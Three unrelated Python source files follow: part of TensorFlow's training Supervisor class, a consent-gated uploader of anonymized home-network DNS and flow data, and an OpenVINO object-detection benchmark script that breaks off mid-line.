parameters of Supervisor.__init__() to indicate that # the default behavior should be used. USE_DEFAULT = 0 def __init__(self, graph=None, ready_op=USE_DEFAULT, is_chief=True, init_op=USE_DEFAULT, init_feed_dict=None, local_init_op=USE_DEFAULT, logdir=None, summary_op=USE_DEFAULT, saver=USE_DEFAULT, global_step=USE_DEFAULT, save_summaries_secs=120, save_model_secs=600, recovery_wait_secs=30, stop_grace_secs=120, checkpoint_basename="model.ckpt", session_manager=None, summary_writer=USE_DEFAULT, init_fn=None): """Create a `Supervisor`. Args: graph: A `Graph`. The graph that the model will use. Defaults to the default `Graph`. The supervisor may add operations to the graph before creating a session, but the graph should not be modified by the caller after passing it to the supervisor. ready_op: 1-D string `Tensor`. This tensor is evaluated by supervisors in `prepare_or_wait_for_session()` to check if the model is ready to use. The model is considered ready if it returns an empty array. Defaults to the tensor returned from `tf.report_uninitialized_variables()` If `None`, the model is not checked for readiness. is_chief: If True, create a chief supervisor in charge of initializing and restoring the model. If False, create a supervisor that relies on a chief supervisor for inits and restore. init_op: `Operation`. Used by chief supervisors to initialize the model when it can not be recovered. Defaults to an `Operation` that initializes all variables. If `None`, no initialization is done automatically unless you pass a value for `init_fn`, see below. init_feed_dict: A dictionary that maps `Tensor` objects to feed values. This feed dictionary will be used when `init_op` is evaluated. local_init_op: `Operation`. Used by all supervisors to run initializations that should run for every new supervisor instance. By default these are table initializers and initializers for local variables. If `None`, no further per supervisor-instance initialization is done automatically. logdir: A string. Optional path to a directory where to checkpoint the model and log events for the visualizer. Used by chief supervisors. The directory will be created if it does not exist. summary_op: An `Operation` that returns a Summary for the event logs. Used by chief supervisors if a `logdir` was specified. Defaults to the operation returned from merge_all_summaries(). If `None`, summaries are not computed automatically. saver: A Saver object. Used by chief supervisors if a `logdir` was specified. Defaults to the saved returned by Saver(). If `None`, the model is not saved automatically. global_step: An integer Tensor of size 1 that counts steps. The value from 'global_step' is used in summaries and checkpoint filenames. Default to the op named 'global_step' in the graph if it exists, is of rank 1, size 1, and of type tf.int32 ot tf.int64. If `None` the global step is not recorded in summaries and checkpoint files. Used by chief supervisors if a `logdir` was specified. save_summaries_secs: Number of seconds between the computation of summaries for the event log. Defaults to 120 seconds. Pass 0 to disable summaries. save_model_secs: Number of seconds between the creation of model checkpoints. Defaults to 600 seconds. Pass 0 to disable checkpoints. recovery_wait_secs: Number of seconds between checks that the model is ready. Used by supervisors when waiting for a chief supervisor to initialize or restore the model. Defaults to 30 seconds. stop_grace_secs: Grace period, in seconds, given to running threads to stop when `stop()` is called. Defaults to 120 seconds. checkpoint_basename: The basename for checkpoint saving. session_manager: `SessionManager`, which manages Session creation and recovery. If it is `None`, a default `SessionManager` will be created with the set of arguments passed in for backwards compatibility. summary_writer: `SummaryWriter` to use or `USE_DEFAULT`. Can be `None` to indicate that no summaries should be written. init_fn: Optional callable used to initialize the model. Called after the optional `init_op` is called. The callable must accept one argument, the session being initialized. Returns: A `Supervisor`. """ # Set default values of arguments. if graph is None: graph = ops.get_default_graph() with graph.as_default(): self._init_ready_op(ready_op=ready_op) self._init_init_op(init_op=init_op, init_feed_dict=init_feed_dict) self._init_local_init_op(local_init_op=local_init_op) self._init_saver(saver=saver) self._init_summary_op(summary_op=summary_op) self._init_global_step(global_step=global_step) self._graph = graph self._is_chief = is_chief self._coord = coordinator.Coordinator() self._recovery_wait_secs = recovery_wait_secs self._stop_grace_secs = stop_grace_secs self._init_fn = init_fn # Set all attributes related to checkpointing and writing events to None. # Afterwards, set them appropriately for chief supervisors, as these are # the only supervisors that can write checkpoints and events. self._logdir = None self._save_summaries_secs = None self._save_model_secs = None self._save_path = None self._summary_writer = None if self._is_chief: self._logdir = logdir self._save_summaries_secs = save_summaries_secs self._save_model_secs = save_model_secs if self._logdir: self._save_path = os.path.join(self._logdir, checkpoint_basename) if summary_writer is Supervisor.USE_DEFAULT: if self._logdir: self._summary_writer = summary_io.SummaryWriter(self._logdir) else: self._summary_writer = summary_writer self._graph_added_to_summary = False self._init_session_manager(session_manager=session_manager) self._verify_setup() # The graph is not allowed to change anymore. graph.finalize() def _init_session_manager(self, session_manager=None): if session_manager is None: self._session_manager = session_manager_mod.SessionManager( local_init_op=self._local_init_op, ready_op=self._ready_op, graph=self._graph, recovery_wait_secs=self._recovery_wait_secs) else: self._session_manager = session_manager def _get_first_op_from_collection(self, key): """Returns the first `Operation` from a collection. Args: key: A string collection key. Returns: The first Op found in a collection, or `None` if the collection is empty. """ try: op_list = ops.get_collection(key) if len(op_list) > 1: logging.info("Found %d %s operations. Returning the first one.", len(op_list), key) if op_list: return op_list[0] except LookupError: pass return None def _init_ready_op(self, ready_op=USE_DEFAULT): """Initializes ready_op. Args: ready_op: `Tensor` to check if the model is initialized. If it's set to USE_DEFAULT, creates an op that checks all the variables are initialized. """ if ready_op is Supervisor.USE_DEFAULT: ready_op = self._get_first_op_from_collection(ops.GraphKeys.READY_OP) if ready_op is None: ready_op = variables.report_uninitialized_variables() ops.add_to_collection(ops.GraphKeys.READY_OP, ready_op) self._ready_op = ready_op def _init_init_op(self, init_op=USE_DEFAULT, init_feed_dict=None): """Initializes init_op. Args: init_op: `Operation` to initialize the variables. If set to USE_DEFAULT, create an op that initializes all variables and tables. init_feed_dict: A dictionary that maps `Tensor` objects to feed values. This feed dictionary will be used when `init_op` is evaluated. """ if init_op is Supervisor.USE_DEFAULT: init_op = self._get_first_op_from_collection(ops.GraphKeys.INIT_OP) if init_op is None: init_op = variables.initialize_all_variables() ops.add_to_collection(ops.GraphKeys.INIT_OP, init_op) self._init_op = init_op self._init_feed_dict = init_feed_dict def _init_local_init_op(self, local_init_op=USE_DEFAULT): """Initializes local_init_op. Args: local_init_op: `Operation` run for every new supervisor instance. If set to USE_DEFAULT, use the first op from the GraphKeys.LOCAL_INIT_OP collection. If the collection is empty, create an op that initializes all local variables and all tables. """ if local_init_op is Supervisor.USE_DEFAULT: local_init_op = self._get_first_op_from_collection( ops.GraphKeys.LOCAL_INIT_OP) if local_init_op is None: op_list = [variables.initialize_local_variables(), data_flow_ops.initialize_all_tables()] if op_list: local_init_op = control_flow_ops.group(*op_list) ops.add_to_collection(ops.GraphKeys.LOCAL_INIT_OP, local_init_op) self._local_init_op = local_init_op def _init_saver(self, saver=USE_DEFAULT): """Initializes saver. Args: saver: A `Saver` object. If set to USE_DEFAULT, create one that saves all the variables. """ if saver is Supervisor.USE_DEFAULT: saver = self._get_first_op_from_collection(ops.GraphKeys.SAVERS) if saver is None and variables.all_variables(): saver = saver_mod.Saver() ops.add_to_collection(ops.GraphKeys.SAVERS, saver) self._saver = saver def _init_summary_op(self, summary_op=USE_DEFAULT): """Initilizes summary_op. Args: summary_op: An Operation that returns a Summary for the event logs. If set to USE_DEFAULT, create an op that merges all the summaries. """ if summary_op is Supervisor.USE_DEFAULT: summary_op = self._get_first_op_from_collection(ops.GraphKeys.SUMMARY_OP) if summary_op is None: summary_op = logging_ops.merge_all_summaries() if summary_op is not None: ops.add_to_collection(ops.GraphKeys.SUMMARY_OP, summary_op) self._summary_op = summary_op def _init_global_step(self, global_step=USE_DEFAULT): """Initializes global_step. Args: global_step: An integer Tensor of size 1 that counts steps. If set to USE_DEFAULT, creates global_step tensor. """ if global_step is Supervisor.USE_DEFAULT: global_step = self._get_first_op_from_collection( ops.GraphKeys.GLOBAL_STEP) if global_step is None: global_step = self._default_global_step_tensor() if global_step is not None: ops.add_to_collection(ops.GraphKeys.GLOBAL_STEP, global_step) self._global_step = global_step @property def is_chief(self): """Return True if this is a chief supervisor. Returns: A bool. """ return self._is_chief @property def session_manager(self): """Return the SessionManager used by the Supervisor. Returns: A SessionManager object. """ return self._session_manager @property def coord(self): """Return the Coordinator used by the Supervisor. The Coordinator can be useful if you want to run multiple threads during your training. Returns: A Coordinator object. """ return self._coord @property def init_op(self): """Return the Init Op used by the supervisor. Returns: An Op or `None`. """ return self._init_op @property def init_feed_dict(self): """Return the feed dictionary used when evaluating the `init_op`. Returns: A feed dictionary or `None`. """ return self._init_feed_dict @property def ready_op(self): """Return the Ready Op used by the supervisor. Returns: An Op or `None`. """ return self._ready_op @property def summary_writer(self): """Return the SummaryWriter used by the chief supervisor. Returns: A SummaryWriter. """ return self._summary_writer @property def summary_op(self): """Return the Summary Tensor used by the chief supervisor. Returns: A string Tensor for the summary or `None`. """ return self._summary_op @property def save_summaries_secs(self): """Return the delay between summary computations. Returns: A timestamp. """ return self._save_summaries_secs @property def global_step(self): """Return the global_step Tensor used by the supervisor. Returns: An integer Tensor for the global_step. """ return self._global_step @property def saver(self): """Return the Saver used by the supervisor. Returns: A Saver object. """ return self._saver @property def save_model_secs(self): """Return the delay between checkpoints. Returns: A timestamp. """ return self._save_model_secs @property def save_path(self): """Return the save path used by the supervisor. Returns: A string. """ return self._save_path def _write_graph(self): """Writes graph_def to `logdir` and adds it to summary if applicable.""" assert self._is_chief if self._logdir: training_util.write_graph(self._graph.as_graph_def(add_shapes=True), self._logdir, "graph.pbtxt") if self._summary_writer and not self._graph_added_to_summary: self._summary_writer.add_graph(self._graph) self._graph_added_to_summary = True def start_standard_services(self, sess): """Start the standard services for 'sess'. This starts services in the background. The services started depend on the parameters to the constructor and may include: - A Summary thread computing summaries every save_summaries_secs. - A Checkpoint thread saving the model every save_model_secs. - A StepCounter thread measure step time. Args: sess: A Session. Returns: A list of threads that are running the standard services. You can use the Supervisor's Coordinator to join these threads with: sv.coord.Join(<list of threads>) Raises: RuntimeError: If called with a non-chief Supervisor. ValueError: If not `logdir` was passed to the constructor as the services need a log directory. """ if not self._is_chief: raise RuntimeError("Only chief supervisor can start standard services. " "Because only chief supervisors can write events.") if not self._logdir: logging.warning("Standard services need a 'logdir' " "passed to the SessionManager") return if self._global_step is not None and self._summary_writer: # Only add the session log if we keep track of global step. # TensorBoard cannot use START message for purging expired events # if there is no step value. current_step = training_util.global_step(sess, self._global_step) self._summary_writer.add_session_log( SessionLog(status=SessionLog.START), current_step) threads = [] if self._save_summaries_secs and self._summary_writer: if self._summary_op is not None: threads.append(SVSummaryThread(self, sess)) if self._global_step is not None: threads.append(SVStepCounterThread(self, sess)) if self.saver and self._save_model_secs: threads.append(SVTimerCheckpointThread(self, sess)) for t in threads: t.start() return threads def prepare_or_wait_for_session(self, master="", config=None, wait_for_checkpoint=False, max_wait_secs=7200, start_standard_services=True): """Make sure the model is ready to be used. Create a session on 'master', recovering or initializing the model as needed, or wait for a session to be ready. If running as the chief and `start_standard_service` is set to True, also call the session manager to start the standard services. Args: master: name of the TensorFlow master to use. See the `tf.Session` constructor for how this is interpreted. config: Optional ConfigProto proto used to configure the session, which is passed as-is to create the session. wait_for_checkpoint: Whether we should wait for the availability of a checkpoint before creating Session. Defaults to False. max_wait_secs: Maximum time to wait for the session to become available. start_standard_services: Whether to start the standard services and the queue runners. Returns: A Session object that can be used to drive the model. """ # For users who recreate the session with prepare_or_wait_for_session(), we # need to clear the coordinator's stop_event so that threads managed by the # coordinator can run. self._coord.clear_stop() if self._summary_writer: self._summary_writer.reopen() if self._is_chief: sess = self._session_manager.prepare_session( master, init_op=self.init_op, saver=self.saver, checkpoint_dir=self._logdir, wait_for_checkpoint=wait_for_checkpoint, max_wait_secs=max_wait_secs, config=config, init_feed_dict=self._init_feed_dict, init_fn=self._init_fn) self._write_graph() if start_standard_services: self.start_standard_services(sess) else: sess = self._session_manager.wait_for_session(master, config=config, max_wait_secs=max_wait_secs) if start_standard_services: self.start_queue_runners(sess) return sess def start_queue_runners(self, sess, queue_runners=None): """Start threads for `QueueRunners`. Note that the queue runners collected in the graph key `QUEUE_RUNNERS` are already started automatically when you create a session with the supervisor, so unless you have non-collected queue runners to start you do not need to call this explicitely. Args: sess: A `Session`. queue_runners: A list of `QueueRunners`. If not specified, we'll use the list of queue runners gathered in the graph under the key `GraphKeys.QUEUE_RUNNERS`. Returns: The list of threads started for the `QueueRunners`. """ if queue_runners is None: queue_runners = self._graph.get_collection(ops.GraphKeys.QUEUE_RUNNERS) threads = [] for qr in queue_runners: threads.extend(qr.create_threads(sess, coord=self._coord, daemon=True, start=True)) return threads def loop(self, timer_interval_secs, target, args=None, kwargs=None): """Start a LooperThread that calls a function periodically. If `timer_interval_secs` is None the thread calls `target(*args, **kwargs)` repeatedly. Otherwise it calls it every `timer_interval_secs` seconds. The thread terminates when a stop is requested. The started thread is added to the list of threads managed by the supervisor so it does not need to be passed to the `stop()` method. Args: timer_interval_secs: Number. Time boundaries at which to call `target`. target: A callable object. args: Optional arguments to pass to `target` when calling it. kwargs: Optional keyword arguments to pass to `target` when calling it. Returns: The started thread. """ looper = coordinator.LooperThread(self._coord, timer_interval_secs, target=target, args=args, kwargs=kwargs) looper.start() return looper def stop(self, threads=None, close_summary_writer=True): """Stop the services and the coordinator. This does not close the session. Args: threads: Optional list of threads to join with the coordinator. If `None`, defaults to the threads running the standard services, the threads started for `QueueRunners`, and the threads started by the `loop()` method. To wait on additional threads, pass the list in this parameter. close_summary_writer: Whether to close the `summary_writer`. Defaults to `True` if the summary writer was created by the supervisor, `False` otherwise. """ self._coord.request_stop() try: # coord.join() re-raises the first reported exception; the "finally" # block ensures that we clean up whether or not an exception was # reported. self._coord.join(threads, stop_grace_period_secs=self._stop_grace_secs) finally: # Close the writer last, in case one of the running threads was using it. if close_summary_writer and self._summary_writer: # Stop messages are not logged with event.step, # since the session may have already terminated. self._summary_writer.add_session_log(SessionLog(status=SessionLog.STOP)) self._summary_writer.close() self._graph_added_to_summary = False def request_stop(self, ex=None): """Request that the coordinator stop the threads. See `Coordinator.request_stop()`. Args: ex: Optional `Exception`, or Python `exc_info` tuple as returned by `sys.exc_info()`. If this is the first call to `request_stop()` the corresponding exception is recorded and re-raised from `join()`. """ self._coord.request_stop(ex=ex) def should_stop(self): """Check if the coordinator was told to stop. See `Coordinator.should_stop()`. Returns: True if the coordinator was told to stop, False otherwise. """ return self._coord.should_stop() def stop_on_exception(self): """Context handler to stop the supervisor when an exception is raised. See `Coordinator.stop_on_exception()`. Returns: A context handler. """ return self._coord.stop_on_exception() def wait_for_stop(self): """Block waiting for the coordinator to stop.""" self._coord.wait_for_stop() def summary_computed(self, sess, summary, global_step=None): """Indicate that a summary was computed. Args: sess: A `Session` object. summary: A Summary proto, or a string holding a serialized summary proto. global_step: Int. global step this summary is associated with. If `None`, it will try to fetch the current step. Raises: TypeError: if 'summary' is not a Summary proto or a string. RuntimeError: if the Supervisor was created without a `logdir`. """ if not self._summary_writer: raise RuntimeError("Writing a summary requires a summary writer.") if global_step is None and self.global_step is not None: global_step = training_util.global_step(sess, self.global_step) self._summary_writer.add_summary(summary, global_step) def _default_global_step_tensor(self): """Returns the global_step from the default graph. Returns: The global step `Tensor` or `None`. """ try: gs = ops.get_default_graph().get_tensor_by_name("global_step:0") if gs.dtype.base_dtype in [dtypes.int32, dtypes.int64]: return gs else: logging.warning("Found 'global_step' is not an int type: %s", gs.dtype) return None except KeyError: return None def _verify_setup(self): """Check that all is good. Raises: ValueError: If something is not good. """ # Not running as chief means that replicas are used. # In that case all Variables must have their device set. if not self._is_chief: for op in self._graph.get_operations(): if op.type == "Variable" and not op.device: raise ValueError("When using replicas, all Variables must have " "their device set: %s" % op) # pylint: disable=g-doc-return-or-yield,broad-except @contextlib.contextmanager def managed_session(self, master="", config=None, start_standard_services=True, close_summary_writer=True): """Returns a context manager for a managed session. This context manager creates and automatically recovers a session. It optionally starts the standard services that handle checkpoints and summaries. It monitors exceptions raised from the `with` block or from the services and stops the supervisor as needed. The context manager is typically used as follows: ```python def train(): sv = tf.train.Supervisor(...) with sv.managed_session(<master>) as sess: for step in xrange(..): if sv.should_stop(): break sess.run(<my training op>) ...do other things needed at each training step... ``` An exception raised from the `with` block or one of the service threads is raised again when the block exits. This is done after stopping all threads and closing the session. For example, an `AbortedError` exception, raised in case of preemption of one of the workers in a distributed model, is raised again when the block exits. If you want to retry the training loop in case of preemption you can do it as follows: ```python def main(...): while True try: train() except tf.errors.Aborted: pass ``` As a special case, exceptions used for control flow, such as `OutOfRangeError` which reports that input queues are exhausted, are not raised again from the `with` block: they indicate a clean termination of the training loop and are considered normal termination. Args: master: name of the TensorFlow master to use. See the `tf.Session` constructor for how this is interpreted. config: Optional `ConfigProto` proto used to configure the session. Passed as-is to create the session. start_standard_services: Whether to start the standard services, such as checkpoint, summary and step counter. close_summary_writer: Whether to close the summary writer when closing the session. Defaults to True. Returns: A context manager that yields a `Session` restored from the latest checkpoint or initialized from scratch if not checkpoint exists. The session is closed when the `with` block exits. """ try: sess = self.prepare_or_wait_for_session( master=master, config=config, start_standard_services=start_standard_services) yield sess except Exception as e: self.request_stop(e) finally: try: # Request all the threads to stop and wait for them to do so. Any # exception raised by the threads is raised again from stop(). # Passing stop_grace_period_secs is for blocked enqueue/dequeue # threads which are not checking for `should_stop()`. They # will be stopped when we close the session further down. self.stop(close_summary_writer=close_summary_writer) finally: # Close the session to finish up all pending calls. We do not care # about exceptions raised when closing. This takes care of # blocked enqueue/dequeue calls. try: sess.close() except Exception: # Silently ignore exceptions raised by close(). pass # pylint: enable=g-doc-return-or-yield,broad-except class SVSummaryThread(coordinator.LooperThread): """A thread to save summaries on a timer.""" def __init__(self, sv, sess): """Create a SVSummaryThread. Args: sv: A `Supervisor`. sess: A `Session`. """ super(SVSummaryThread, self).__init__(sv.coord, sv.save_summaries_secs) self._sv = sv self._sess = sess def run_loop(self): if self._sv.global_step is not None: summary_strs, global_step = self._sess.run([self._sv.summary_op, self._sv.global_step]) else: summary_strs = self._sess.run(self._sv.summary_op) global_step = None if self._sv.summary_writer: self._sv.summary_writer.add_summary(summary_strs, global_step) class SVStepCounterThread(coordinator.LooperThread): """Threads to count steps and measure their duration.""" def __init__(self, sv, sess): """Create a `SVStepCounterThread`. Args: sv: A `Supervisor`. sess: A `Session`. """ super(SVStepCounterThread, self).__init__(sv.coord, sv.save_summaries_secs) self._sv = sv self._sess = sess self._last_time = 0.0 self._last_step = 0 self._summary_tag = "%s/sec" % self._sv.global_step.op.name def start_loop(self): self._last_time = time.time() self._last_step = training_util.global_step( self._sess, self._sv.global_step) def run_loop(self): # Count the steps. current_step = training_util.global_step(self._sess, self._sv.global_step) added_steps = current_step - self._last_step self._last_step = current_step # Measure the elapsed time. current_time = time.time() elapsed_time = current_time - self._last_time self._last_time = current_time # Reports the number of steps done per second steps_per_sec = added_steps / elapsed_time summary = Summary(value=[Summary.Value(tag=self._summary_tag, simple_value=steps_per_sec)]) if self._sv.summary_writer: self._sv.summary_writer.add_summary(summary, current_step) logging.log_first_n(logging.INFO, "%s: %g", 10, self._summary_tag, steps_per_sec) class SVTimerCheckpointThread(coordinator.LooperThread): """A thread to checkpoint on a timer.""" def __init__(self, sv, sess): """Create a `SVTimerCheckpointThread`. Args: sv: A `Supervisor`. sess: A `Session`. """ super(SVTimerCheckpointThread, self).__init__(sv.coord, sv.save_model_secs) self._sv = sv self._sess = sess def run_loop(self): self._sv.saver.save(self._sess, self._sv.save_path, global_step=self._sv.global_step) if self._sv.summary_writer and self._sv.global_step is not None: current_step = training_util.global_step(self._sess, self._sv.global_step) self._sv.summary_writer.add_session_log( SessionLog(status=SessionLog.CHECKPOINT, checkpoint_path=self._sv.save_path), current_step) # TODO(sherrym): All non-PEP8 compliant names will be deprecated shortly. setattr(Supervisor, "PrepareSession", Supervisor.prepare_or_wait_for_session) setattr(Supervisor, "StartQueueRunners", Supervisor.start_queue_runners) setattr(Supervisor, "StartStandardServices", Supervisor.start_standard_services) setattr(Supervisor, "Stop", Supervisor.stop) setattr(Supervisor, "RequestStop", Supervisor.request_stop) setattr(Supervisor, "Loop", Supervisor.loop) setattr(Supervisor, "ShouldStop", Supervisor.should_stop) setattr(Supervisor, "StopOnException", Supervisor.stop_on_exception) setattr(Supervisor, "WaitForStop", Supervisor.wait_for_stop) setattr(Supervisor, "SummaryComputed", Supervisor.summary_computed)
data_upload.py
""" Anonymizes and uploads DNS and flow data to cloud. """ import time import datetime import threading import utils import requests import json import server_config from host_state import HostState UPLOAD_INTERVAL = 5 class DataUploader(object): def __init__(self, host_state): assert isinstance(host_state, HostState) self._host_state = host_state self._lock = threading.Lock() self._active = True self._thread = threading.Thread(target=self._upload_thread) self._thread.daemon = True self._last_upload_ts = time.time() def _upload_thread(self): # Wait till UI is ready while True: time.sleep(1) with self._host_state.lock: if self._host_state.ui_is_ready: break # Loop until initialized while True: if utils.safe_run(self._upload_initialization): break self._update_ui_status( 'Please sign the consent form in the browser window.' ) time.sleep(2) with self._host_state.lock: self._host_state.has_consent = True self._update_ui_status( 'Continuously analyzing your network.\n' ) # Continuously upload data while True: time.sleep(UPLOAD_INTERVAL) with self._lock: if not self._active: return utils.safe_run(self._upload_data) def _upload_initialization(self): if not self._check_consent_form(): return False return self._update_utc_offset() def _update_utc_offset(self): ts = time.time() utc_offset = int( (datetime.datetime.fromtimestamp(ts) - datetime.datetime.utcfromtimestamp(ts)).total_seconds() ) utc_offset_url = server_config.UTC_OFFSET_URL.format( user_key=self._host_state.user_key, offset_seconds=utc_offset ) utils.log('[DATA] Update UTC offset:', utc_offset_url) status = requests.get(utc_offset_url).text.strip() utils.log('[DATA] Update UTC offset status:', status) return 'SUCCESS' == status def _check_consent_form(self): check_consent_url = server_config.CHECK_CONSENT_URL.format( user_key=self._host_state.user_key ) utils.log('[DATA] Check consent:', check_consent_url) status = requests.get(check_consent_url).text.strip() utils.log('[DATA] Check consent status:', status) return 'True' == status def _prepare_upload_data(self): # Remove all pending tasks with self._host_state.lock: dns_responses = self._host_state.pending_dns_responses pkts = self._host_state.pending_pkts ua_list = list(self._host_state.ua_set) self._host_state.pending_dns_responses = [] self._host_state.pending_pkts = [] self._host_state.ua_set = set() # Aggregate all DNS responses. Build a mapping of domain -> ip_list. dns_dict = {} for record in dns_responses: ip_set = dns_dict.setdefault(record['domain'], set()) dns_dict[record['domain']] = ip_set | record['ip_set'] for domain in dns_dict: dns_dict[domain] = list(dns_dict[domain]) # Aggregate all pkts into flows. Maps (device_id, device_oui, # device_ip) -> (remote_ip, remote_port, direction, protocol) -> # length. flow_dict = {} byte_count = 0 for pkt in pkts: device_mac = pkt['device_mac'] device_oui = device_mac.replace(':', '').lower()[0:6] device_id = utils.get_device_id(device_mac, self._host_state) if device_id not in self._host_state.device_whitelist: continue device_key = json.dumps((device_id, device_oui, pkt['device_ip'])) device_flow_dict = flow_dict.setdefault(device_key, {}) flow_key = json.dumps(( pkt['remote_ip'], pkt['remote_port'], pkt['direction'], pkt['protocol'] )) device_flow_dict.setdefault(flow_key, 0) device_flow_dict[flow_key] += pkt['length'] byte_count += pkt['length'] # Collect arp_cache ip_mac_dict = self._host_state.get_ip_mac_dict_copy() arp_cache = [] for (ip, mac) in ip_mac_dict.iteritems(): arp_cache.append({ 'device_ip': ip, 'device_id': utils.get_device_id(mac, self._host_state), 'device_oui': mac.replace(':', '').lower()[0:6] }) # Turn device_mac into device_id in ua_list ua_list = [ (utils.get_device_id(mac, self._host_state), ua) for (mac, ua) in ua_list ] return (dns_dict, flow_dict, byte_count, arp_cache, ua_list) def _upload_data(self): (dns_dict, flow_dict, byte_count, arp_cache, ua_list) = \ self._prepare_upload_data() delta_sec = time.time() - self._last_upload_ts # Prepare POST user_key = self._host_state.user_key url = server_config.SUBMIT_URL.format(user_key=user_key) post_data = { 'dns': json.dumps(dns_dict), 'flows': json.dumps(flow_dict), 'arp_cache': json.dumps(arp_cache), 'ua_list': json.dumps(ua_list), 'client_version': self._host_state.client_version, 'duration': str(delta_sec) } # Try uploading across 5 attempts for attempt in range(5): status_text = 'Uploading data to cloud...\n' if attempt > 0: status_text += ' (Attempt {} of 5)'.format(attempt + 1) self._update_ui_status(status_text) utils.log('[UPLOAD]', status_text) response = requests.post(url, data=post_data).text utils.log('[UPLOAD] Gets back server response:', response) # Update whitelist try: response_dict = json.loads(response) if response_dict['status'] == 'SUCCESS': self._last_upload_ts = time.time() with self._host_state.lock: self._host_state.device_whitelist = \ response_dict['whitelist'] break except Exception: pass time.sleep((attempt + 1) ** 2) # Report stats to UI self._update_ui_status( 'Currently analyzing ' + '{:,}'.format(int(byte_count / 1000.0 / delta_sec)) + ' KB/s of traffic\nacross ' + '{}'.format(len(flow_dict)) + ' active devices on your local network.\n' ) utils.log('[UPLOAD] DNS:', ' '.join(dns_dict.keys())) utils.log( '[UPLOAD] Total packets in past epoch:', self._host_state.packet_count ) with self._host_state.lock: self._host_state.packet_count = 0 def _update_ui_status(self, value): utils.log('[DATA] Update UI:', value) with self._host_state.lock: if self._host_state.status_text: self._host_state.status_text.set(value) def start(self): with self._lock: self._active = True self._thread.start() utils.log('[Data] Start uploading data.') def stop(self): utils.log('[Data] Stopping.') with self._lock: self._active = False self._thread.join() utils.log('[Data] Stopped.')
detection.py
# Copyright (c) HP-NTU Digital Manufacturing Corporate Lab, Nanyang Technological University, Singapore. # # This source code is licensed under the Apache-2.0 license found in the # LICENSE file in the root directory of this source tree. import sys, os lib_path = os.path.abspath(os.path.join('scripts/ncs2')) sys.path.append(lib_path) import numpy as np import time import threading import json import csv import io import re from argparse import ArgumentParser from openvino.inference_engine import IENetwork, IECore from utils.infer_request_wrap import InferRequestsQueue, InferReqWrap from utils.serialUtil import SerialBlueTooth from PIL import Image, ImageFile # from preprocess.preprocessing_factory import inception_preprocessing, vgg_preprocessing ################################################################ dir_name = os.path.dirname(os.path.realpath(__file__)) sys.path.append(str(dir_name) + "/../../../common_api") from pycocotools.coco import COCO from pycocotools.cocoeval import COCOeval ################################################################ ImageFile.LOAD_TRUNCATED_IMAGES = True def build_args(): parser = ArgumentParser() parser.add_argument('--model', help='The model file in .XML format', required=True) parser.add_argument('--data', help='Path to dataset', required=True) parser.add_argument('--outdir', help='Directory for results', required=True) parser.add_argument('--ann_file', help='The ground-truth file', required=True) parser.add_argument('--num_images', help='The number of input images', type=int, default=1) parser.add_argument('--mode', help='sync or async', default='async') parser.add_argument('--num_requests', help='The number of inference requests', type=int, default=8) parser.add_argument('--preprocess', help='vgg or inception', default='vgg') parser.add_argument('--device', help='Benchmark hardware platform', default='MYRIAD') parser.add_argument('--power', help='yes or no', default='yes') parser.add_argument('--port', help='The serial port for power measurement', default='/dev/rfcomm0') return parser class Model: def __init__(self, xml_file): self.model = xml_file self.weights = os.path.splitext(xml_file)[0] + '.bin' def get_power(result, port): serial = SerialBlueTooth(port) serial.connect() while True: power = serial.read() if power: result.append(power) time.sleep(0.005) def get_images(image_dir, num_images, shape, preprocess): images = [] batch = [] sizes = [] ids = [] names = os.listdir(image_dir) names.sort() n, c, h, w = shape if len(names) < num_images: num_images = len(names) for i in range(num_images): image = Image.open(os.path.join(image_dir, names[i])) sizes.append(image.size) ids.append(int(names[i][13:25])) if image.mode != 'RGB': image = image.convert('RGB') # Image preprocess # if preprocess == 'vgg': # image = vgg_preprocessing(image, h, w) # elif preprocess == 'inception': # image = inception_preprocessing(image, h, w) # else: # raise ValueError('No such pre-processing: ' + preprocess) image = image.resize((w, h), resample=0) image = np.array(image) image = image.transpose((2, 0, 1)) batch.append(image) if (i + 1) % n == 0: np_batch = np.array(batch) images.append(np_batch) batch.clear() return images, sizes, ids def post_result(out_blob, results): for i in range(len(results)): results[i] = results[i][out_blob] results = np.array(results) results.resize(results.shape[0] * results.shape[3], results.shape[4]) # print(np.shape(results)) return results def print_result(num_images, time, mode, power): print('---------Benchmark Result---------') print('Input: {} images'.format(num_images)) print('Mode: {}'.format(mode)) print('Time: {}'.format(time)) print('Power: {}'.format(power)) print('---------Benchmark Result---------') def save_results(outdir, results, sizes, ids): obj_idx = 0 img_idx = 0 objs = [] while img_idx < len(ids): cur_idx = img_idx * 100 + obj_idx if obj_idx >= 100 or results[cur_idx][0] == -1: obj_idx = 0 img_idx += 1 else: xs = int(results[cur_idx][3] * sizes[img_idx][0]) ys = int(results[cur_idx][4] * sizes[img_idx][1]) ws = int(results[cur_idx][5] * sizes[img_idx][0] - xs + 1) hs = int(results[cur_idx][6] * sizes[img_idx][1] - ys + 1) obj = { 'image_id': ids[img_idx], 'category_id': int(results[cur_idx][1]), 'bbox': [xs, ys, ws, hs], 'score': float(results[cur_idx][2]) } objs.append(obj) obj_idx += 1 with open(outdir + '/ncs2_results.json', 'w', encoding='utf-8') as f: json.dump(objs, f, ensure_ascii=False) with open(outdir + '/ncs2_imageIds.txt', 'w') as f: for i in range(len(ids)): f.write(str(ids[i]) + '\n') # ###################################################### def accuracy(imgIds, label_path, result_path): annFile = label_path cocoGt = COCO(annFile) cocoDt = cocoGt.loadRes(result_path) cocoEval = COCOeval(cocoGt, cocoDt, 'bbox') cocoEval.params.imgIds = imgIds cocoEval.evaluate() cocoEval.accumulate() cocoEval.summarize() _stdout = sys.stdout sys.stdout = io.StringIO() cocoEval.summarize() coco_summary = sys.stdout.getvalue() sys.stdout = _stdout mAP = ((coco_summary.split('\n')[0]).split('|')[-1]).split('=')[-1].strip() return float(mAP)*100 def write_result(path, data): size = os.path.exists(path) and os.path.getsize(path) > 0 with open(path, 'a+') as f: csv_write = csv.writer(f) if not size: csv_write.writerow( ['Date', 'Platform', 'Model' , \ 'Top1 (%)', 'Top5 (%)', 'mAP (%)', 'Batch Size', \ 'Latency (ms)', 'Dataset size', \ 'Power (W)', 'EDP', 'Claimed Accuracy', 'LEDP']) csv_write.writerow(data) else: csv_write.writerow(data) ######################################################## def main(): args = build_args().parse_args() model = Model(args.model) ie_core = IECore() net = IENetwork(model=model.model, weights=model.weights) exec_net = ie_core.load_network(network=net, device_name=args.device, num_requests=args.num_requests) request_queue = InferRequestsQueue(exec_net.requests) for input_blob in net.inputs: pass for out_blob in net.outputs: pass print(net.inputs[input_blob].shape) print('Start prepare input...') inputs, img_sizes, img_ids = 